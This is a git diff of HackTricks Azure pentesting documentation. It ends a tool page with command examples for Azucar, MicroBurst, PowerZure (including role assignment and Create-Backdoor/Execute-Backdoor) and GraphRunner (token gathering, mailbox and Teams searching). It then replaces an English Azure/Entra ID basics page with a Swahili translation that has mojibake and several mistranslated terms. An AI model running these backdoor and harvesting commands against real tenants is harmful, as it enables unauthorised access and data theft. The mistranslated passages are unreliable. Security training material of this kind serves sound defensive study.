n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..8bae38f6d 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,374 +1,370 @@ -# Az - Basic Information +# Az - Taarifa za Msingi {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Muundo wa Shirika

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Vikundi vya Usimamizi -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesnā€™t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- Inaweza kuwa na **vikundi vingine vya usimamizi au usajili**. +- Hii inaruhusu **kutekeleza udhibiti wa utawala** kama vile RBAC na Sera za Azure mara moja kwenye kiwango cha kundi la usimamizi na kuwa **na urithi** na usajili wote ndani ya kundi. +- **Vikundi 10,000 vya usimamizi** vinaweza kuungwa mkono katika directory moja. +- Mti wa kundi la usimamizi unaweza kuunga mkono **hadi viwango sita vya kina**. Kiwango hiki hakijumuishi kiwango cha mzizi au kiwango cha usajili. +- Kila kundi la usimamizi na usajili linaweza kuunga mkono **mzazi mmoja tu**. +- Hata kama vikundi vingi vya usimamizi vinaweza kuundwa **kuna kundi moja la usimamizi la mzizi tu**. +- Kundi la usimamizi la mzizi **linashikilia** **vikundi vingine vya usimamizi na usajili** na **halitaweza kuhamishwa au kufutwa**. +- Usajili wote ndani ya kundi moja la usimamizi lazima uamini **tenant ya Entra ID sawa**.

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

-### Azure Subscriptions +### Usajili wa Azure -- Itā€™s another **logical container where resources** (VMs, DBsā€¦) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- Ni **konteina nyingine ya kimantiki ambapo rasilimali** (VMs, DBsā€¦) zinaweza kuendeshwa na zitalipiwa. +- **Mzazi** wake daima ni **kundi la usimamizi** (na inaweza kuwa kundi la usimamizi la mzizi) kwani usajili hauwezi kuwa na usajili mwingine. +- Ina **aminika tu na directory moja ya Entra ID** +- **Ruhusa** zilizotumika kwenye kiwango cha usajili (au yoyote ya wazazi wake) zina **urithi** kwa rasilimali zote ndani ya usajili -### Resource Groups +### Vikundi vya Rasilimali -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[Kutoka kwenye hati:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Kundi la rasilimali ni **konteina** inayoshikilia **rasilimali zinazohusiana** kwa suluhisho la Azure. Kundi la rasilimali linaweza kujumuisha rasilimali zote za suluhisho, au zile tu **rasilimali ambazo unataka kusimamia kama kundi**. Kwa ujumla, ongeza **rasilimali** zinazoshiriki **mzunguko sawa** kwenye kundi moja la rasilimali ili uweze kupeleka, kusasisha, na kufuta kwa urahisi kama kundi. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Rasilimali zote lazima ziwe **ndani ya kundi la rasilimali** na zinaweza kumilikiwa tu na kundi moja na ikiwa kundi la rasilimali litafutwa, rasilimali zote ndani yake pia zitafutwa.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### Vitambulisho vya Rasilimali za Azure -Every resource in Azure has an Azure Resource ID that identifies it. +Kila rasilimali katika Azure ina Vitambulisho vya Rasilimali za Azure vinavyoiainisha. -The format of an Azure Resource ID is as follows: +Muundo wa Vitambulisho vya Rasilimali za Azure ni kama ifuatavyo: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGroup` chini ya kitambulisho cha usajili `12345678-1234-1234-1234-123456789012`, Vitambulisho vya Rasilimali za Azure vinaonekana kama ifuatavyo: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Huduma za Kikoa za Azure AD ### Azure -Azure is Microsoftā€™s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure ni jukwaa la **kumbukumbu la kompyuta la Microsoft, linalotoa huduma mbalimbali**, ikiwa ni pamoja na mashine za virtual, hifadhidata, akili bandia, na uhifadhi. Inafanya kazi kama msingi wa kuendesha na kusimamia programu, kujenga miundombinu inayoweza kupanuka, na kuendesha kazi za kisasa katika wingu. Azure inatoa zana kwa wabunifu na wataalamu wa IT kuunda, kupeleka, na kusimamia programu na huduma kwa urahisi, ikihudumia mahitaji mbalimbali kutoka kwa makampuni ya kuanzishwa hadi makampuni makubwa. -### Entra ID (formerly Azure Active Directory) +### Entra ID (zamani Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID ni huduma ya **usimamizi wa utambulisho na ufikiaji** inayotegemea wingu iliyoundwa kushughulikia uthibitishaji, idhini, na udhibiti wa ufikiaji wa mtumiaji. Inatoa ufikiaji salama kwa huduma za Microsoft kama vile Office 365, Azure, na programu nyingi za SaaS za wahusika wengine. Ikiwa na vipengele kama vile kuingia mara moja (SSO), uthibitishaji wa hatua nyingi (MFA), na sera za ufikiaji wa masharti miongoni mwa zingine. -### Entra Domain Services (formerly Azure AD DS) +### Huduma za Kikoa za Entra (zamani Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Huduma za Kikoa za Entra zinaongeza uwezo wa Entra ID kwa kutoa **huduma za kikoa zinazoweza kusimamiwa zinazofaa na mazingira ya jadi ya Windows Active Directory**. Inasaidia protokali za zamani kama vile LDAP, Kerberos, na NTLM, ikiruhusu mashirika kuhamasisha au kuendesha programu za zamani katika wingu bila kupeleka wakala wa kikoa wa ndani. Huduma hii pia inasaidia Sera za Kundi kwa usimamizi wa kati, na kuifanya iweze kutumika katika hali ambapo kazi za zamani au zinazotegemea AD zinahitaji kuwepo pamoja na mazingira ya kisasa ya wingu. -## Entra ID Principals +## Misingi ya Entra ID -### Users +### Watumiaji -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact infoā€¦) - - Default user type is ā€œ**member**ā€ -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is ā€œ**Guest**ā€ +- **Watumiaji wapya** +- Onyesha jina la barua pepe na kikoa kutoka kwa tenant iliyochaguliwa +- Onyesha jina la kuonyesha +- Onyesha nenosiri +- Onyesha mali (jina la kwanza, cheo cha kazi, taarifa za mawasilianoā€¦) +- Aina ya mtumiaji wa kawaida ni ā€œ**mwanachama**ā€ +- **Watumiaji wa nje** +- Onyesha barua pepe ya kuwalika na jina la kuonyesha (inaweza kuwa barua pepe isiyo ya Microsoft) +- Onyesha mali +- Aina ya mtumiaji wa kawaida ni ā€œ**Mgeni**ā€ -### Members & Guests Default Permissions +### Ruhusa za Kawaida za Wanachama na Wageni -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Unaweza kuangalia katika [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) lakini kati ya vitendo vingine mwanachama ataweza: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Kusoma watumiaji wote, Vikundi, Programu, Vifaa, Majukumu, Usajili, na mali zao za umma +- Kualika Wageni (_inaweza kuzuiwa_) +- Kuunda vikundi vya Usalama +- Kusoma uanachama wa Kundi usiofichwa +- Kuongeza wageni kwenye vikundi vilivyo na umiliki +- Kuunda programu mpya (_inaweza kuzuiwa_) +- Kuongeza vifaa hadi 50 kwenye Azure (_inaweza kuzuiwa_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Kumbuka kwamba ili kuhesabu rasilimali za Azure mtumiaji anahitaji kibali maalum cha ruhusa. -### Users Default Configurable Permissions +### Ruhusa za Kawaida za Watumiaji -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesnā€™t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Wanachama (**[**hati**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Register Programu: Kawaida **Ndio** +- Zuia watumiaji wasio wasimamizi kuunda tenants: Kawaida **Hapana** +- Kuunda vikundi vya usalama: Kawaida **Ndio** +- Zuia ufikiaji wa lango la usimamizi la Microsoft Entra: Kawaida **Hapana** +- Hii haisimamii ufikiaji wa API kwa lango (tu wavuti) +- Ruhusu watumiaji kuunganisha akaunti za kazi au shule na LinkedIn: Kawaida **Ndio** +- Onyesha kuweka mtumiaji alisainiwa: Kawaida **Ndio** +- Zuia watumiaji kutoka kupona funguo za BitLocker kwa vifaa vyao vilivyo na umiliki: Kawaida Hapana (angalia kwenye Mipangilio ya Kifaa) +- Kusoma watumiaji wengine: Kawaida **Ndio** (kupitia Microsoft Graph) +- **Wageni** +- **Vikwazo vya ufikiaji wa mtumiaji mgeni** +- **Watumiaji wageni wana ufikiaji sawa na wanachama** inatoa ruhusa zote za mtumiaji mwanachama kwa watumiaji wageni kwa default. +- **Watumiaji wageni wana ufikiaji mdogo kwa mali na uanachama wa vitu vya directory (kawaida)** inazuia ufikiaji wa wageni kwa wasifu wao wenyewe wa mtumiaji kwa default. Ufikiaji wa watumiaji wengine na taarifa za kundi haukubaliwi tena. +- **Ufikiaji wa mtumiaji mgeni unazuiwa kwa mali na uanachama wa vitu vyao vya directory** ni wa kikomo zaidi. +- **Wageni wanaweza kuwalika** +- **Mtu yeyote katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni na wasimamizi (inayoeleweka zaidi) - Kawaida** +- **Watumiaji wanachama na watumiaji waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni wenye ruhusa za mwanachama** +- **Ni watumiaji pekee waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni** +- **Hakuna mtu katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wasimamizi (inayoeleweka zaidi)** +- **Mtumiaji wa nje aondoke**: Kawaida **Kweli** +- Ruhusu watumiaji wa nje kuondoka katika shirika > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Hata kama imezuiwa kwa kawaida, watumiaji (wanachama na wageni) wenye ruhusa zilizotolewa wanaweza kufanya vitendo vya awali. -### **Groups** +### **Vikundi** -There are **2 types of groups**: +Kuna **aina 2 za vikundi**: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Usalama**: Aina hii ya kundi inatumika kutoa wanachama ufikiaji wa programu, rasilimali na kupewa leseni. Watumiaji, vifaa, wakala wa huduma na vikundi vingine vinaweza kuwa wanachama. +- **Microsoft 365**: Aina hii ya kundi inatumika kwa ushirikiano, ikitoa wanachama ufikiaji wa sanduku la barua lililotolewa, kalenda, faili, tovuti ya SharePoint, na kadhalika. Wanachama wa kundi wanaweza kuwa watumiaji pekee. +- Hii itakuwa na **anwani ya barua pepe** yenye kikoa cha tenant ya EntraID. -There are **2 types of memberships**: +Kuna **aina 2 za uanachama**: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Iliyotolewa**: Ruhusu kuongeza wanachama maalum kwa mkono kwenye kundi. +- **Uanachama wa Kijamii**: Inasimamia kiotomatiki uanachama kwa kutumia sheria, ikisasisha ujumuishaji wa kundi wakati sifa za wanachama zinabadilika. -### **Service Principals** +### **Wakala wa Huduma** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +**Wakala wa Huduma** ni **utambulisho** ulioanzishwa kwa **matumizi** na **programu**, huduma zinazohudumiwa, na zana za kiotomatiki kufikia rasilimali za Azure. Ufikiaji huu ume **zuiwa na majukumu yaliyotolewa** kwa wakala wa huduma, na kukupa udhibiti juu ya **rasilimali zipi zinaweza kufikiwa** na kwa kiwango gani. Kwa sababu za usalama, kila wakati inapendekezwa **kutumia wakala wa huduma na zana za kiotomatiki** badala ya kuruhusu kuingia kwa utambulisho wa mtumiaji. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +Inawezekana **kuingia moja kwa moja kama wakala wa huduma** kwa kuunda **siri** (nenosiri), **cheti**, au kutoa **ufikiaji wa shirikisho** kwa majukwaa ya wahusika wengine (kwa mfano, Github Actions) juu yake. -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- Ikiwa unachagua uthibitishaji wa **nenosiri** (kwa kawaida), **hifadhi nenosiri lililotolewa** kwani huwezi kulifikia tena. +- Ikiwa unachagua uthibitishaji wa cheti, hakikisha **programu itakuwa na ufikiaji wa funguo za faragha**. -### App Registrations +### Usajili wa Programu -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +Usajili wa **Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na kufanya vitendo. -#### Key Components: +#### Vipengele Muhimu: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **Kitambulisho cha Programu (Kitambulisho cha Mteja):** Kitambulisho cha kipekee kwa programu yako katika Azure AD. +2. **URIs za Kurudisha:** URL ambapo Azure AD inatuma majibu ya uthibitishaji. +3. **Cheti, Siri & Ruhusa za Shirikisho:** Inawezekana kuunda siri au cheti kuingia kama wakala wa huduma wa programu, au kutoa ufikiaji wa shirikisho kwake (kwa mfano, Github Actions). +1. Ikiwa **cheti** au **siri** imeundwa, mtu anaweza **kuingia kama wakala wa huduma** kwa kutumia zana za CLI kwa kujua **kitambulisho cha programu**, **siri** au **cheti** na **tenant** (kikoa au ID). +4. **Ruhusa za API:** Inabainisha rasilimali au API zipi programu inaweza kufikia. +5. **Mipangilio ya Uthibitishaji:** Inafafanua mchakato wa uthibitishaji unaounga mkono programu (kwa mfano, OAuth2, OpenID Connect). +6. **Wakala wa Huduma**: Wakala wa huduma huundwa wakati programu inaundwa (ikiwa inafanywa kutoka kwenye konsole ya wavuti) au wakati inasakinishwa katika tenant mpya. +1. **Wakala wa huduma** utapata ruhusa zote zilizohitajika alizopangwa nazo. -### Default Consent Permissions +### Ruhusa za Kawaida za Kukubali -**User consent for applications** +**Ruhusa za mtumiaji kwa programu** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **Usiruhusu ruhusa za mtumiaji** +- Msimamizi atahitajika kwa programu zote. +- **Ruhusu ruhusa za mtumiaji kwa programu kutoka kwa wachapishaji waliothibitishwa, kwa ruhusa zilizochaguliwa (Inapendekezwa)** +- Watumiaji wote wanaweza kukubali ruhusa zilizopangwa kama "athari ndogo", kwa programu kutoka kwa wachapishaji waliothibitishwa au programu zilizoorodheshwa katika shirika hili. +- **Kawaida** ruhusa za athari ndogo (ingawa unahitaji kukubali kuziongeza kama ndogo): +- User.Read - ingia na kusoma wasifu wa mtumiaji +- offline_access - kudumisha ufikiaji wa data ambayo watumiaji wameipa ufikiaji +- openid - ingiza watumiaji +- profile - ona wasifu wa msingi wa mtumiaji +- email - ona anwani ya barua pepe ya mtumiaji +- **Ruhusu ruhusa za mtumiaji kwa programu (Kawaida)** +- Watumiaji wote wanaweza kukubali kwa programu yoyote kufikia data za shirika. -**Admin consent requests**: Default **No** +**Maombi ya ruhusa za msimamizi**: Kawaida **Hapana** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: Itā€™s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Watumiaji wanaweza kuomba ruhusa za msimamizi kwa programu ambazo hawawezi kukubali +- Ikiwa **Ndio**: Inawezekana kuonyesha Watumiaji, Vikundi na Majukumu ambayo yanaweza kukubali maombi +- Sanidi pia ikiwa watumiaji watapokea arifa za barua pepe na ukumbusho wa muda wa mwisho -### **Managed Identity (Metadata)** +### **Utambulisho wa Kusimamiwa (Metadata)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Utambulisho wa kusimamiwa katika Azure Active Directory unatoa suluhisho la **kusimamia kiotomatiki utambulisho** wa programu. Utambulisho huu unatumika na programu kwa lengo la **kuunganisha** na **rasilimali** zinazofaa na uthibitishaji wa Azure Active Directory (**Azure AD**). Hii inaruhusu **kuondoa hitaji la kuweka akiba ya akidi za wingu** katika msimbo kwani programu itakuwa na uwezo wa kuwasiliana na huduma ya **metadata** ili kupata token halali ya **kufanya vitendo** kama utambulisho wa kusimamiwa ulioonyeshwa katika Azure. -There are two types of managed identities: +Kuna aina mbili za utambulisho wa kusimamiwa: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Iliyotolewa na mfumo**. Huduma zingine za Azure zinakuruhusu **kuwezesha utambulisho wa kusimamiwa moja kwa moja kwenye mfano wa huduma**. Unapowezesha utambulisho wa kusimamiwa wa mfumo, **wakala wa huduma** huundwa katika tenant ya Entra ID inayotegemewa na usajili ambapo rasilimali iko. Wakati **rasilimali** inafutwa, Azure kiotomatiki **inafuta** **utambulisho** kwa ajili yako. +- **Iliyotolewa na mtumiaji**. Pia inawezekana kwa watumiaji kuunda utambulisho wa kusimamiwa. Hizi huundwa ndani ya kundi la rasilimali ndani ya usajili na wakala wa huduma utaanzishwa katika EntraID inayotegemewa na usajili. Kisha, unaweza kupeana utambulisho wa kusimamiwa kwa mfano mmoja au **zaidi** ya huduma ya Azure (rasilimali nyingi). Kwa utambulisho wa kusimamiwa wa mtumiaji, **utambulisho unasimamiwa tofauti na rasilimali zinazoutumia**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Utambulisho wa Kusimamiwa **hauzali akidi za kudumu** (kama nenosiri au vyeti) kufikia kama wakala wa huduma ulioambatanishwa nayo. -### Enterprise Applications +### Programu za Kijamii -Itā€™s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +Ni tu **meza katika Azure kuchuja wakala wa huduma** na kuangalia programu ambazo zimepewa. -**It isnā€™t another type of ā€œapplicationā€,** there isnā€™t any object in Azure that is an ā€œEnterprise Applicationā€, itā€™s just an abstraction to check the Service principals, App registrations and managed identities. +**Sio aina nyingine ya "programu",** hakuna kitu chochote katika Azure ambacho ni "Programu ya Kijamii", ni tu muundo wa kuangalia Wakala wa huduma, Usajili wa programu na utambulisho wa kusimamiwa. -### Administrative Units +### Vitengo vya Utawala -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +Vitengo vya utawala vinaruhusu **kutoa ruhusa kutoka kwa jukumu juu ya sehemu maalum ya shirika**. -Example: +Mfano: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Hali: Kampuni inataka wasimamizi wa IT wa kikanda wasimamie tu watumiaji katika eneo lao. +- Utekelezaji: +- Unda Vitengo vya Utawala kwa kila eneo (kwa mfano, "Kaskazini mwa Amerika AU", "Ulaya AU"). +- Jaza AUs na watumiaji kutoka maeneo yao. +- AUs zinaweza **kuhifadhi watumiaji, vikundi, au vifaa** +- AUs zinasaidia **uanachama wa kijamii** +- AUs **haziwezi kuwa na AUs** +- Peana Majukumu ya Usimamizi: +- Peana jukumu la "Msimamizi wa Watumiaji" kwa wafanyakazi wa IT wa kikanda, lililowekwa kwenye AU ya eneo lao. +- Matokeo: Wasimamizi wa IT wa kikanda wanaweza kusimamia akaunti za watumiaji ndani ya eneo lao bila kuathiri maeneo mengine. -### Entra ID Roles +### Majukumu ya Entra ID -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role itā€™s possible to see its **granular permissions** +- Ili kusimamia Entra ID kuna **majukumu yaliyojengwa ndani** ambayo yanaweza kutolewa kwa wakala wa Entra ID kusimamia Entra ID +- Angalia majukumu katika [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- Jukumu lenye mamlaka zaidi ni **Msimamizi wa Kimataifa** +- Katika Maelezo ya jukumu inawezekana kuona **ruhusa zake za kina** -## Roles & Permissions +## Majukumu & Ruhusa -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Majukumu** yanatolewa kwa **wakala** kwenye **kasi**: `wakala -[ANA JUKUMU]->(kasi)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Majukumu** yaliyotolewa kwa **vikundi** yanarithiwa na **wanachama** wote wa kundi. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +Kulingana na kasi ambayo jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kwa **rasilimali nyingine** ndani ya kontena la kasi. Kwa mfano, ikiwa mtumiaji A ana **jukumu kwenye usajili**, atakuwa na **jukumu hilo kwenye vikundi vyote vya rasilimali** ndani ya usajili na kwenye **rasilimali zote** ndani ya kundi la rasilimali. -### **Classic Roles** +### **Majukumu ya K klasiki** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Mmiliki** |
  • Ufikiaji kamili kwa rasilimali zote
  • Anaweza kusimamia ufikiaji kwa watumiaji wengine
| Aina zote za rasilimali | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | ā€¢ View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Mchangiaji** |
  • Ufikiaji kamili kwa rasilimali zote
  • Haiwezi kusimamia ufikiaji
| Aina zote za rasilimali | +| **Msomaji** | ā€¢ Ona rasilimali zote | Aina zote za rasilimali | +| **Msimamizi wa Ufikiaji wa Mtumiaji** |
  • Ona rasilimali zote
  • Anaweza kusimamia ufikiaji kwa watumiaji wengine
